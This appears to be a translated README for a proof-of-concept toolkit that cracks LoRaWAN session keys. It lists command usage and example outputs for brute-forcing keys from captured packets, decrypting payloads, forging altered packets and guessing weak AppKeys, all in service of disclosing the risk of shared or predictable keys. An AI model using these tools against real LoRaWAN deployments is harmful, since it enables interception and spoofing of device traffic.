
由 Applied Risk 的 Sipke Mellema 创建
这是一个概念验证(PoC),用于演示在多个 LoRaWAN 节点上使用相同 AppKey 的危险性。
该仓库包含一个工具箱,用于从捕获的数据包中破解 LoRaWAN 会话密钥。攻击场景假设您知道 AppKey 但错过了握手过程。或者 AppKey 不是随机的,可以被猜测出来。
LoRa 握手使用三个值来生成会话密钥:
AppNonce | NetID | DevNonce
AppNonce 和 NetID 为 3 字节,DevNonce 为 2 字节。NetID 的一部分是已知的,因此剩余 57 位熵。而且由于实现缺陷,这个值可能会更低。
直接执行 make 即可。请注意,您可能需要在 Makefile 中链接到 openssl 1.0.* 的位置。
./loracrack -k <十六进制格式的AppKey> -p <十六进制格式的原始数据包>
当握手(join-accept)被错过但 AppKey 已知时,破解会话密钥。破解过程通过生成会话密钥并检查 MIC 来完成。
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
可选参数:
-t 线程数
-v 详细模式(0、1 或 2)
-m 最大 AppNonce
./loracrack_knownpt -k <十六进制格式的AppKey> -p <十六进制格式的原始数据包> -d <十六进制格式的明文>
当握手(join-accept)被错过但 AppKey 和明文已知时,破解会话密钥。破解过程通过解密 FRMPayload 并检查明文来完成。这比检查 MIC 更快,因为 CMAC 需要更多的 AES 操作。
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
可选参数:
-t 线程数
-v 详细模式(0、1 或 2)
-m 最大 AppNonce
./loracrack_decrypt -k <十六进制格式的解密密钥> -p <十六进制格式的原始数据包>
当会话密钥已知时,解密数据包数据。
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <十六进制格式的原始数据包> -a <十六进制格式的AppSKey> -n <十六进制格式的NwkSKey> -c <Fctn> -d <十六进制格式的新数据>
使用新数据修改数据包,保留 DeviceAddr 等原有内容。
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <十六进制格式的AppKey> -j <十六进制格式的join数据包> -a <十六进制格式的accept数据包>
给定握手过程(join 和 accept 数据包)及 AppKey,生成会话密钥。
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <十六进制格式的原始数据包> -f <包含十六进制格式AppKey的文件>
通过检查 join 数据包上的 MIC,检测是否使用了可预测的 AppKey。AppKey 从文件中读取,每行一个十六进制编码的 AppKey。
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888